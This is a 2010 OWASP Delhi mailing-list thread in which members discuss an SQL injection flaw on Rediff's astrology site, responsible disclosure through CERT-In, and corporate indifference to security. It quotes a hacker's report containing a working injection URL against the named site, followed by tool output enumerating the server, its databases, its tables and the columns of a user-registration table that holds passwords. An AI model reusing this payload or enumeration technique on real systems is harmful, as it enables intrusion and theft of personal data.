[Owasp-delhi] Rediff Astrology

Subhash Dutta subhash.dutta at kriss.in
Wed Jun 16 05:13:24 EDT 2010


I agree with this proposal. My further suggestions:- 

(a) Involve CERT-In fully. This will take care of the legal hassles as it is their mandate. 
(b) Follow some thing like responsible disclosure. Sending vulnerability information through a central point of contact (preferably at CERT-In). 

Regards 

Subhash Dutta 


----- Original Message ----- 
From: "Sriram Lakshmanan" <sriram_lakshmanan at uhc.com> 
To: "dhruv soi" <dhruv.soi at owasp.org>, "Subhash Dutta" <subhash.dutta at kriss.in>, "Sripathi Krishnan" <sripathi.krishnan at gmail.com> 
Cc: "owasp-delhi" <owasp-delhi at lists.owasp.org> 
Sent: Wednesday, June 16, 2010 1:51:28 PM GMT +05:30 Chennai, Kolkata, Mumbai, New Delhi 
Subject: RE: [Owasp-delhi] Rediff Astrology 


I don't know if it can happen under the ageis of OWASP or not but maybe we need something like a Jagorey campaign and a "fall of shame". I'm banking on this group's collective wisdom to do something... 

    • 
The Jagorey like campaign is for the CxO forums who are often unware of the problem in their own backyard as the tech manager never notified them or didn't give them enough gyan (specially to CTO/CISO). Maybe leverage NASSCOM for such forums (for contact points) 
    • 
The fall of shame is for sites we identity as "bad" weak thru non-intriusive testing and advise the public about the risks of the weakness exists even after notification to the company. I understand such a list opens up more hacks/attacks, and thus we can refrain from displaying the vulnerable url and details on the attack. CERT-in may be leveraged for this. I also do not know the complete legal interpretation of such a move (which may include defamation suits) 

The point I'm trying to make is we know we have issues, with corporate indfifference to security, with laws that are not enforced well, with "security people" just doing what I call "khanapoorti" i.e action for the sake of it. The problems will not go away. As a responsibile community can we create a task force and collectively do something?. I do understand the individual efforts like Nilesh's / Sripathi's or Subhash's and others have fallen on deaf ears and is frustrating....maybe concerted and joint efforts will bear fruits. 

Additional thoughts/comments/feedback... 

PS: I use Jagorey like as refernce, as Jagorey campaign is a TV advt showing a movement against corruption. 


warm regards, 

Sriram 

SEC _ R _ TY. U & I are in it together. Everyone’s responsible - Everywhere 



From: owasp-delhi-bounces at lists.owasp.org [mailto:owasp-delhi-bounces at lists.owasp.org] On Behalf Of Soi, Dhruv 
Sent: Wednesday, June 16, 2010 12:44 PM 
To: 'Subhash Dutta'; 'Sripathi Krishnan' 
Cc: 'owasp-delhi' 
Subject: Re: [Owasp-delhi] Rediff Astrology 





Old saying and a song – “It happens only in India”. Till the time laws aren’t enforced with a force, no one is bothered about security. Even laws can be bypassed here, but atleast few would be trapped to set the example for others. 



When I explain India InfoSec to the friends abroad, I generally blame the Indian mindset. Bike Riders here don’t care about their personal security and wear helmets only when there is strict police checking. Same is with the car drivers for their seat belts. In Delhi, we find better police checking so people are serious, but in other areas like Noida, no one cares. In a nutshell, only strict laws can help Corporate India to be secure and deliver secure. 







From: owasp-delhi-bounces at lists.owasp.org [mailto:owasp-delhi-bounces at lists.owasp.org] On Behalf Of Subhash Dutta 
Sent: 16 June 2010 09:09 
To: Sripathi Krishnan 
Cc: owasp-delhi 
Subject: Re: [Owasp-delhi] Rediff Astrology 




Yes I have also noted the same. In fact, the imint card company stores passwords as reversible encrypted and will tell you in plain text what your password is in case you have forgotten it ;). When brought to their notice, I received a standard reply - Thanking for contacting us, we will get back to you shortly. Nobody has got back till date (1 year past). I think strong legislative punitive measures are the only solution. 

Regards 

Subhash Dutta 


----- Original Message ----- 
From: "Sripathi Krishnan" <sripathi.krishnan at gmail.com> 
To: "dhruv soi" <dhruv.soi at owasp.org> 
Cc: owasp-delhi at lists.owasp.org, owasp-mumbai at lists.owasp.org, owasp-bangalore at lists.owasp.org 
Sent: Monday, June 14, 2010 11:25:23 PM GMT +05:30 Chennai, Kolkata, Mumbai, New Delhi 
Subject: Re: [Owasp-delhi] Rediff Astrology 

Its not just rediff.com , almost all other Indian portals - in.com , indiatimes.com and sify.com have similar problems. XSS, XSRF, SQL Injection, Poor password/session management, open redirects .. the list is endless. 





I have written to each of the above portals several times in the past year, and have given up. IMHO, they are not interested in securing their websites. 







--Sri 




On 14 June 2010 23:17, Soi, Dhruv < dhruv.soi at owasp.org > wrote: 



Another one to notify Rediff that readers’ daily fortune can be fixed by someone…Seems Rediff needs a lot of OWASP, do inform them that its free!! 




From: “Jack H4xor” 
Sent: 14 June 2010 12:07 
To: dhruv.soi at owasp.org 
Subject: Rediff Astrology 



y0, 


h0rr1bl3 th4n h0rr0r 

Vulnerable Url : 

http://astrology.rediff.com/zodiaczone/astroparents-resultpg.asp?pzodiac=Scorpiox%27%20OR%201=convert%28int,@@version%29-- 

******************************************************************** 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 





+     -==  MSSQL Information Schema astrology.rediff.com ==-     + 





++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 





[ + ] URL : http:// astrology.rediff.com/zodiaczone/astroparents-resultpg.asp?pzo 



diac=Scorpiox' 





[ + ] Date: Tue May 18 20:58:26 2010 

[ + ] Displaying information about MSSQL host ! 



[ + ] @@VERSION  :      Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 



Aug  6 2000 00:57:48 

Copyright (c) 1988-2000 Microsoft Corporation 

Standard Edition on Windows NT 5.0 (Build 2195: Service 

Pack 4) 



[ + ] USER ()          : dbo 



[ + ] S_USER ()        : astrology 

[ + ] DB_NAME ()       : astro 

[ + ] HOST_NAME ()     : ASTROLOGY 

[ + ] SERVER_NAME ()   : SEARCHDB 

[ + ] SERVER_TYPE ()   : Microsoft-IIS/6.0 

[ + ] X-POWERED-By ()  : ASP.NET 



[ + ] IP_ADDRESS_INFO  : 202.54.124.173 





[ - ] We Can't get number of Datab a ses ! 





[ ! ] Start dumping database Names ! 



[ ? ] But first choice number of DB to dump :> 20 





[ + ] Displaying list of 20 databases on this MSSQL host ! 





[ DATABASE: 0 ]        : astro 



[ DATABASE: 1 ]        : master 



[ DATABASE: 2 ]        : tempdb 



[ DATABASE: 3 ]        : model 



[ DATABASE: 4 ]        : msdb 



[ DATABASE: 5 ]        : pubs 



[ DATABASE: 6 ]        : Northwind 



[ DATABASE: 7 ]        : travel 



[ DATABASE: 8 ]        : travel_int 



[ DATABASE: 9 ]        : astro 



[ DATABASE: 10 ]        : Jobsearch 



[ DATABASE: 11 ]        : astroyogiD 



[ DATABASE: 12 ]        : matrimonial 



[ DATABASE: 13 ]        : investornew 



[ DATABASE: 14 ]        : test 





[ ! ] Vulnerability Database is   :  astro 





[ + ] Displaying Tables inside DB :> astro 





[ ? ] Numbers of Tables To Dispaly ? 



[ + ] Specify Numbers   :> 200 





[ TABLES: 0 ]          : ALLIANCE_PARTNER_COMMISSION 



[ TABLES: 1 ]          : ALLIANCE_PARTNER_MASTER 



[ TABLES: 2 ]          : astrolove 



[ TABLES: 3 ]          : astroparent 



[ TABLES: 4 ]          : CITY 



[ TABLES: 5 ]          : COMPLETE_ORDER_DETAIL 



[ TABLES: 6 ]          : COMPLETE_SUBSCRIPTION_DETAIL 



[ TABLES: 7 ]          : COUNTRY 



[ TABLES: 8 ]          : CUSTOMER_CARE_DETAILS 



[ TABLES: 9 ]          : CUSTOMER_CARE_MASTER 



[ TABLES: 10 ]          : CUSTOMER_PERSON1 



[ TABLES: 11 ]          : CUSTOMER_PERSON2 



[ TABLES: 12 ]          : CUSTOMER_PERSON3 



[ TABLES: 13 ]          : darshtest 



[ TABLES: 14 ]          : dtproperties 



[ TABLES: 15 ]          : FENGSHUI 



[ TABLES: 16 ]          : FRANCHISEE_MASTER 



[ TABLES: 17 ]          : idealmate 



[ TABLES: 18 ]          : INTERNATIONAL_PARTNER_MASTER 



[ TABLES: 19 ]          : NUMEROLOGY 



[ TABLES: 20 ]          : ORDER_DETAILS 



[ TABLES: 21 ]          : ORDER_MASTER 



[ TABLES: 22 ]          : ORDER_REMARKS 



[ TABLES: 23 ]          : ORDERS 



[ TABLES: 24 ]          : p1 



[ TABLES: 25 ]          : p3master 



[ TABLES: 26 ]          : PALMISTRY 



[ TABLES: 27 ]          : PAYMENT_METHOD_MASTER 



[ TABLES: 28 ]          : PROBLEM_ANSWER 



[ TABLES: 29 ]          : PROBLEM_CATEGORY 



[ TABLES: 30 ]          : REGISTRATION 



[ TABLES: 31 ]          : SHIPPING_DETAILS 



[ TABLES: 32 ]          : SPCFIC_ANLYS 



[ TABLES: 33 ]          : SUBSCRIBER_DETAILS 



[ TABLES: 34 ]          : SUBSCRIBER_MASTER 



[ TABLES: 35 ]          : SUBSCRIBER_REGISTRATION 



[ TABLES: 36 ]          : SUBSCRIBER_TRANSACTION 



[ TABLES: 37 ]          : SUBSCRIPTION_DETAILS 



[ TABLES: 38 ]          : SUBSCRIPTION_MASTER 



[ TABLES: 39 ]          : sysconstraints 



[ TABLES: 40 ]          : syssegments 



[ TABLES: 41 ]          : test 



[ TABLES: 42 ]          : USER_ASTROLOGER_PRODUCT_TRANSACTION 



[ TABLES: 43 ]          : zodiac 





[ + ] Done ! 





[ + ] Start dumping all Columns from table :> REGISTRATION 





[ ? ] Numbers of Columns To Display ? 



[ + ] Specify Numbers    :> 50 





[ + ] Displaying 50 Columns inside Table: REGISTRATION and Database: astro 





[ COLUMNS : REGISTRATION ] 0 ]         : FRANCHISEE_ID 



[ COLUMNS : REGISTRATION ] 1 ]         : PARTNER_ID 



[ COLUMNS : REGISTRATION ] 2 ]         : REGISTRATION_ADDRESS 



[ COLUMNS : REGISTRATION ] 3 ]         : REGISTRATION_BIRTH_COUNTRY 



[ COLUMNS : REGISTRATION ] 4 ]         : REGISTRATION_BIRTH_DATE 



[ COLUMNS : REGISTRATION ] 5 ]         : REGISTRATION_BIRTH_PLACE 



[ COLUMNS : REGISTRATION ] 6 ]         : REGISTRATION_BIRTH_TIME_HOUR 



[ COLUMNS : REGISTRATION ] 7 ]         : REGISTRATION_BIRTH_TIME_MINUTES 



[ COLUMNS : REGISTRATION ] 8 ]         : REGISTRATION_CELL_NO 



[ COLUMNS : REGISTRATION ] 9 ]         : REGISTRATION_COUNTRY 



[ COLUMNS : REGISTRATION ] 10 ]         : REGISTRATION_DATE 



[ COLUMNS : REGISTRATION ] 11 ]         : REGISTRATION_EMAIL_ID 



[ COLUMNS : REGISTRATION ] 12 ]         : REGISTRATION_FIRSTNAME 



[ COLUMNS : REGISTRATION ] 13 ]         : REGISTRATION_GENDER 



[ COLUMNS : REGISTRATION ] 14 ]         : REGISTRATION_ID 



[ COLUMNS : REGISTRATION ] 15 ]         : REGISTRATION_IP 



[ COLUMNS : REGISTRATION ] 16 ]         : REGISTRATION_LASTNAME 



[ COLUMNS : REGISTRATION ] 17 ]         : REGISTRATION_PASSWORD 



[ COLUMNS : REGISTRATION ] 18 ]         : REGISTRATION_TELEPHONE_NO 



[ COLUMNS : REGISTRATION ] 19 ]         : REGISTRATION_USERNAME 





[ ! ] Done ! 





[ ! ] All information was recorded in astrology.rediff.com.txt file ! 





[ 1 ] : Return to Tables  ! 



[ 2 ] : Return to Columns ! 





[ ? ] : Oprion :> 







Thanks & Regards 

Jackh4xor 

( h4cky0u ) 


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